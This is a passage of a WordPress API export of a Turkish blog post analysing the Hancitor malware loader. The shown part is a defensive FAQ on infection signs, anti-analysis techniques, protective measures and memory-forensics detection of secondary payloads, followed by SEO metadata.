yaz\u0131l\u0131mlar\u0131n\u0131) kurban\u0131n sistemine indirmek ve \u00e7al\u0131\u015ft\u0131rmak i\u00e7in tasarlanm\u0131\u015f bir \"y\u00fckleyici\" zararl\u0131 yaz\u0131l\u0131md\u0131r. Fark\u0131, kendisinin do\u011frudan y\u0131k\u0131c\u0131 bir i\u015flevselli\u011fe sahip olmamas\u0131ndan ziyade, bir da\u011f\u0131t\u0131m vekt\u00f6r\u00fc olarak hareket etmesidir. Bu da onu tespit etmeyi zorla\u015ft\u0131r\u0131r, \u00e7\u00fcnk\u00fc ana y\u00fck\u00fc gizler ve genellikle dinamik olarak y\u00fckler.<\/p>\n<p class=\"faq-question\">2. Bir Hancitor enfeksiyonunun tipik belirtileri nelerdir?<\/p>\n<p class=\"faq-answer\">Hancitor enfeksiyonunun erken belirtileri genellikle olduk\u00e7a gizlidir. Ancak, sistemde beklenmedik yava\u015flamalar, a\u011f trafi\u011finde ani art\u0131\u015flar, bilinmeyen s\u00fcre\u00e7lerin \u00e7al\u0131\u015fmas\u0131, g\u00fcvenlik yaz\u0131l\u0131mlar\u0131n\u0131n devre d\u0131\u015f\u0131 b\u0131rak\u0131lmas\u0131na y\u00f6nelik giri\u015fimler veya bilgisayar\u0131n ola\u011fand\u0131\u015f\u0131 davran\u0131\u015flar sergilemesi (\u00f6rne\u011fin, rastgele yeniden ba\u015flamalar) bir enfeksiyonun i\u015faretleri olabilir. Oltalama e-postalar\u0131 a\u00e7\u0131ld\u0131ktan veya \u015f\u00fcpheli bir ba\u011flant\u0131ya t\u0131kland\u0131ktan sonra bu t\u00fcr belirtiler g\u00f6r\u00fcl\u00fcrse dikkatli olunmal\u0131d\u0131r.<\/p>\n<p class=\"faq-question\">3. Hancitor'\u0131n kulland\u0131\u011f\u0131 anti-analiz teknikleri nelerdir?<\/p>\n<p class=\"faq-answer\">Hancitor, sanal makine tespiti (VM alg\u0131lama), hata ay\u0131klay\u0131c\u0131 tespiti (debugger detection), kod gizleme (obfuscation), dinamik API \u00e7\u00f6z\u00fcn\u00fcrl\u00fc\u011f\u00fc ve bellek i\u00e7i \u015fifreleme gibi \u00e7e\u015fitli anti-analiz teknikleri kullan\u0131r. Bu teknikler, g\u00fcvenlik ara\u015ft\u0131rmac\u0131lar\u0131n\u0131n ve otomatik analiz sistemlerinin Hancitor'\u0131n ger\u00e7ek davran\u0131\u015f\u0131n\u0131 ve amac\u0131n\u0131 anlamas\u0131n\u0131 zorla\u015ft\u0131r\u0131r.<\/p>\n<p class=\"faq-question\">4. Hancitor enfeksiyonundan korunmak i\u00e7in hangi \u00f6nlemler al\u0131nmal\u0131d\u0131r?<\/p>\n<p class=\"faq-answer\">Korunmak i\u00e7in birden fazla katmanl\u0131 g\u00fcvenlik yakla\u015f\u0131m\u0131 esast\u0131r. G\u00fc\u00e7l\u00fc e-posta filtreleme sistemleri, g\u00fcncel antivir\u00fcs ve EDR \u00e7\u00f6z\u00fcmleri kullan\u0131n. Kullan\u0131c\u0131lar\u0131 oltalama (phishing) sald\u0131r\u0131lar\u0131 ve \u015f\u00fcpheli e-posta ekleri konusunda e\u011fitin. \u0130\u015fletim sistemlerini ve yaz\u0131l\u0131mlar\u0131 g\u00fcncel tutun. G\u00fcvenilmeyen kaynaklardan dosya indirmeyin ve bilinmeyen belgelerde makrolar\u0131 devre d\u0131\u015f\u0131 b\u0131rak\u0131n. Ayr\u0131ca, a\u011f trafi\u011fini s\u00fcrekli izleyerek anormal ba\u011flant\u0131lar\u0131 tespit etmeye \u00e7al\u0131\u015f\u0131n ve d\u00fczenli sistem yedeklemeleri yap\u0131n.<\/p>\n<p class=\"faq-question\">5. Hancitor'\u0131n indirdi\u011fi ikincil payload'lar\u0131 nas\u0131l tespit edebiliriz?<\/p>\n<p class=\"faq-answer\">\u0130kincil payload'lar\u0131 tespit etmek i\u00e7in dinamik analiz teknikleri ve bellek adli t\u0131p (memory forensics) y\u00f6ntemleri kritik \u00f6neme sahiptir. Hancitor genellikle ikincil payload'\u0131 diske yazmak yerine do\u011frudan bellekte de\u015fifre edip \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131 i\u00e7in, sistem belle\u011finin d\u00f6k\u00fcm\u00fcn\u00fc almak ve Volatility Framework gibi ara\u00e7larla analiz etmek gerekir. A\u011f trafi\u011fi analizi (Wireshark ile) de, ikincil payload'\u0131n indirildi\u011fi C2 sunucular\u0131n\u0131 ve ileti\u015fim kal\u0131plar\u0131n\u0131 belirlemeye yard\u0131mc\u0131 olur. EDR \u00e7\u00f6z\u00fcmleri, s\u00fcre\u00e7 enjeksiyonlar\u0131 ve beklenmedik bellek aktivitelerini tespit ederek bu t\u00fcr gizli payload'lar\u0131 ortaya \u00e7\u0131karabilir.<\/p>\n","protected":false},"excerpt":{"rendered":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131&hellip;","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-33464","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?<\/title>\n<meta name=\"description\" content=\"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader&#039;\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?\" \/>\n<meta property=\"og:description\" content=\"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader&#039;\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-03T02:32:14+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"30 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?\",\"datePublished\":\"2025-11-03T02:32:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\"},\"wordCount\":5801,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#respond\"]}],\"copyrightYear\":\"2025\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\",\"name\":\"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2025-11-03T02:32:14+00:00\",\"description\":\"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader'\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?","description":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader'\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/","og_locale":"tr_TR","og_type":"article","og_title":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?","og_description":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader'\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.","og_url":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2025-11-03T02:32:14+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"30 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?","datePublished":"2025-11-03T02:32:14+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/"},"wordCount":5801,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#respond"]}],"copyrightYear":"2025","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/","url":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/","name":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2025-11-03T02:32:14+00:00","description":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader'\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/33464","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=33464"}],"version-history":[{"count":0,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/33464\/revisions"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=33464"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=33464"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=33464"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}